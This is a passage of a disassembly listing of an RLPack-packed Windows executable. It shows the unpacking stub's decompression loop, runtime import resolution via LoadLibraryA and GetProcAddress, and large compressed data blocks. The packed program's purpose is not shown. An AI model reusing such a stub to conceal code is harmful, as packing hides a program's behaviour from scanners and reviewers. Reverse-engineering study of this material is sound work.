		test	eax, 80000000h
		jz	short loc_428960
		xor	eax, 80000000h
		push	eax
		mov	eax, [ebp+244h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_428966
; ---------------------------------------------------------------------------

loc_428960:				; CODE XREF: start+9Bj
		push	dword ptr [ebp+244h]

loc_428966:				; CODE XREF: start+AFj
		push	dword ptr [ebp+240h]
		call	dword ptr [ebp+1F5h]
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+244h]
		jmp	short loc_428980
; ---------------------------------------------------------------------------

loc_42897F:				; CODE XREF: start+D4j
		inc	eax

loc_428980:				; CODE XREF: start+CEj
		cmp	byte ptr [eax],	0
		jnz	short loc_42897F
		inc	eax
		mov	[ebp+244h], eax

loc_42898C:				; CODE XREF: start+8Cj
		cmp	byte ptr [eax],	0
		jnz	short loc_42893D
		jmp	short loc_428994
; ---------------------------------------------------------------------------

loc_428993:				; CODE XREF: start+E8j
		inc	esi

loc_428994:				; CODE XREF: start+E2j
		cmp	byte ptr [esi],	0
		jnz	short loc_428993
		inc	esi
		inc	eax
		mov	edi, [eax]
		add	eax, 4
		mov	[ebp+244h], eax

loc_4289A6:				; CODE XREF: start+7Bj
		cmp	byte ptr [esi],	1
		jnz	short loc_42892C
		push	4000h
		push	70Eh
		push	dword ptr [ebp+248h]
		call	dword ptr [ebp+1FDh]
		popa
		push	offset sub_4111E8
		retn
start		endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h
		xor	ebx, ebx

loc_4289D6:				; CODE XREF: .RLPack:004289DEj
		movsb
		mov	bl, 2

loc_4289D9:				; CODE XREF: .RLPack:00428A03j
					; .RLPack:00428A49j
		call	sub_428A4B
		jnb	short loc_4289D6
		xor	ecx, ecx
		call	sub_428A4B
		jnb	short loc_428A05
		xor	eax, eax
		call	sub_428A4B
		jnb	short loc_428A15
		mov	bl, 2
		inc	ecx
		mov	al, 10h

loc_4289F7:				; CODE XREF: .RLPack:004289FEj
		call	sub_428A4B
		adc	al, al
		jnb	short loc_4289F7
		jnz	short loc_428A41
		stosb
		jmp	short loc_4289D9
; ---------------------------------------------------------------------------

loc_428A05:				; CODE XREF: .RLPack:004289E7j
		call	sub_428A57
		sub	ecx, ebx
		jnz	short loc_428A1E
		call	sub_428A55
		jmp	short loc_428A3D
; ---------------------------------------------------------------------------

loc_428A15:				; CODE XREF: .RLPack:004289F0j
		lodsb
		shr	eax, 1
		jz	short loc_428A67
		adc	ecx, ecx
		jmp	short loc_428A3A
; ---------------------------------------------------------------------------

loc_428A1E:				; CODE XREF: .RLPack:00428A0Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_428A55
		cmp	eax, 7D00h
		jnb	short loc_428A3A
		cmp	ah, 5
		jnb	short loc_428A3B
		cmp	eax, 7Fh
		ja	short loc_428A3C

loc_428A3A:				; CODE XREF: .RLPack:00428A1Cj
					; .RLPack:00428A2Ej
		inc	ecx

loc_428A3B:				; CODE XREF: .RLPack:00428A33j
		inc	ecx

loc_428A3C:				; CODE XREF: .RLPack:00428A38j
		xchg	eax, ebp

loc_428A3D:				; CODE XREF: .RLPack:00428A13j
		mov	eax, ebp
		mov	bl, 1

loc_428A41:				; CODE XREF: .RLPack:00428A00j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4289D9

; =============== S U B	R O U T	I N E =======================================



sub_428A4B	proc near		; CODE XREF: .RLPack:loc_4289D9p
					; .RLPack:004289E2p ...
		add	dl, dl
		jnz	short locret_428A54
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_428A54:				; CODE XREF: sub_428A4B+2j
		retn
sub_428A4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_428A55	proc near		; CODE XREF: .RLPack:00428A0Ep
					; .RLPack:00428A24p
		xor	ecx, ecx
sub_428A55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428A57	proc near		; CODE XREF: .RLPack:loc_428A05p
		inc	ecx

loc_428A58:				; CODE XREF: sub_428A57+Dj
		call	sub_428A4B
		adc	ecx, ecx
		call	sub_428A4B
		jb	short loc_428A58
		retn
sub_428A57	endp

; ---------------------------------------------------------------------------

loc_428A67:				; CODE XREF: .RLPack:00428A18j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 28A9900h, 28AA600h, 5 dup(0)
		dd 72656B00h, 336C656Eh, 6C642E32h, 5D8006Ch, 0A5FD77E8h
		dd 980A77E7h, 9E3477E7h, 77E7h,	0
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aGetprocaddress	db 'GetProcAddress',0
		align 2
aVirtualalloc	db 'VirtualAlloc',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 0D4000000h, 3204B777h, 32000000h, 41C00000h,	40100000h
		dd 4259F100h, 41200000h, 4260EC00h, 41300000h, 0
		dd 53004D00h, 54524356h, 0E36C642Eh, 32EC57C1h,	0A833735Fh
		dd 39454B0Bh, 4CA94E52h, 53558D0Dh, 410B0C1Ch, 94564439h
		dd 0C60D4950h, 8C464853h, 0F84F7A24h, 54552941h, 1801870Dh
		dd 5F00DE21h, 616F7469h, 0C7730CCEh, 63A16E72h,	148E706Dh
		dd 54277843h, 776FD168h, 65FBE345h, 0E56974F9h,	0C53FC16Eh
		dd 0EF79E131h, 66F654EEh, 55E240FCh, 9A45413Ah,	505A58h
		dd 61724629h, 48653A6Dh, 6F9C6E37h, 62363D5Ch, 63756E8Ah
		dd 774C47E1h, 191BCE61h, 467970F1h, 6E513E07h, 600E0616h
		dd 766FCCE5h, 0C680B6EBh, 6C068922h, 6E737600h,	0BEDE707Dh
		dd 421F66D4h, 6C926686h, 8472F696h, 1D1A0F82h, 40328901h
		dd 23D94759h, 5ABB4958h, 0F7331B22h, 821B1DB6h,	5F0D2386h
		dd 13676562h, 6173C107h, 7E78D364h, 0EEC6A61Eh,	70A4AC68h
		dd 691CCC33h, 0C1DC66E1h, 0FB1C3634h, 0D6AC5137h, 84B4AC63h
		dd 0B68A85FFh, 0ED00725h, 1C786DC4h, 696FCF01h,	65D7BFC3h
		dd 830C6B16h, 6F0C155Ch, 6D7CD570h, 992A7A63h, 7468770Eh
		dd 9A080FB6h, 5ED0B486h, 6F349BCAh, 68DB430Eh, 0DE5529D5h
		dd 783064Eh, 946C976Fh,	2722B582h, 70F3B35Fh, 220824DAh
		dd 0E04189Eh, 9C89780h,	22129116h, 13024415h, 0A120589h
		dd 0C481724h, 6F223391h, 89030144h, 24091270h, 91064834h
		dd 4410220Bh, 74891408h, 2291112h, 8A494150h, 39998780h
		dd 991731Bh, 3032700Dh,	8247FC20h, 856F43C0h, 0D704758Ch
		dd 0E9944E72h, 1856114Ch, 90159A73h, 4C0E891Eh,	0EEBE72A0h
		dd 0CC199A49h, 755D531Eh, 1D27251h, 0B36944E8h,	0E36FA20Ch
		dd 6C2A2B79h, 482D22D7h, 64240357h, 1E7314D6h, 4B4B43B2h
		dd 9346BA24h, 9205C21h,	0D2DA547Dh, 0DF0C1696h,	8C79DB31h
		dd 5838BAEFh, 6C79754Dh, 9FF342FCh, 0AAF5542Ah,	0A43E809h
		dd 8B20A9DFh, 0D7A7EBEBh, 427A9F62h, 0C3504D24h, 64CB635Bh
		dd 0C2A3688Eh, 69AE0A85h, 820CA010h, 727988D2h,	28614CE3h
		dd 0D3B445B4h, 95561DAAh, 0FB9B8A69h, 6863860Ah, 523A9950h
		dd 690A9FA1h, 0A5A88870h, 4DEC6250h, 822388A2h,	2C337453h
		dd 0A1449675h, 35616C70h, 0E80342A6h, 4D69C82Eh, 2E6AE67Ah
		dd 49643891h, 87DCA140h, 22FAFE37h, 0A85209CEh,	39B37349h
		dd 0D530414Dh, 0A541490Ch, 0AC1F2011h, 704F4D7Ch, 0C903943h
		dd 0B59091D1h, 0E80E4E69h, 0FFBE540Fh, 84436548h, 9F499290h
		dd 55959E42h, 14D241CEh, 0D4552792h, 0BF32A215h, 7F856446h
		dd 8A34D444h, 54C762A4h, 56B044C6h, 0FA06E4Ch, 0E2695670h
		dd 99664F77h, 0E4F4DABh, 319BC153h, 6753F68Eh, 73AA50BBh
		dd 64616F4Ch, 7262694Ch, 41797261h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 69560000h, 61757472h, 6C6C416Ch
		dd 636Fh, 74726956h, 466C6175h,	656572h, 3 dup(0)
		dd 41C00000h, 40100000h, 4259F100h, 41200000h, 4260EC00h
		dd 41300000h, 0
		dd 53004D00h, 54524356h, 0E36C642Eh, 32EC57C1h,	0A833735Fh
		dd 39454B0Bh, 4CA94E52h, 53558D0Dh, 410B0C1Ch, 94564439h
		dd 0C60D4950h, 8C464853h, 0F84F7A24h, 54552941h, 1801870Dh
		dd 5F00DE21h, 616F7469h, 0C7730CCEh, 63A16E72h,	148E706Dh
		dd 54277843h, 776FD168h, 65FBE345h, 0E56974F9h,	0C53FC16Eh
		dd 0EF79E131h, 66F654EEh, 55E240FCh, 9A45413Ah,	505A58h
		dd 61724629h, 48653A6Dh, 6F9C6E37h, 62363D5Ch, 63756E8Ah
		dd 774C47E1h, 191BCE61h, 467970F1h, 6E513E07h, 600E0616h
		dd 766FCCE5h, 0C680B6EBh, 6C068922h, 6E737600h,	0BEDE707Dh
		dd 421F66D4h, 6C926686h, 8472F696h, 1D1A0F82h, 40328901h
		dd 23D94759h, 5ABB4958h, 0F7331B22h, 821B1DB6h,	5F0D2386h
		dd 13676562h, 6173C107h, 7E78D364h, 0EEC6A61Eh,	70A4AC68h
		dd 691CCC33h, 0C1DC66E1h, 0FB1C3634h, 0D6AC5137h, 84B4AC63h
		dd 0B68A85FFh, 0ED00725h, 1C786DC4h, 696FCF01h,	65D7BFC3h
		dd 830C6B16h, 6F0C155Ch, 6D7CD570h, 992A7A63h, 7468770Eh
		dd 9A080FB6h, 5ED0B486h, 6F349BCAh, 68DB430Eh, 0DE5529D5h
		dd 783064Eh, 946C976Fh,	2722B582h, 70F3B35Fh, 220824DAh
		dd 0E04189Eh, 9C89780h,	22129116h, 13024415h, 0A120589h
		dd 0C481724h, 6F223391h, 89030144h, 24091270h, 91064834h
		dd 4410220Bh, 74891408h, 2291112h, 8A494150h, 39998780h
		dd 991731Bh, 3032700Dh,	8247FC20h, 856F43C0h, 17D0h dup(0)
		db    0
_RLPack		ends

; Section 3. (virtual address 0002F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0002F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 42F000h
		align 2000h
_idata2		ends


		end start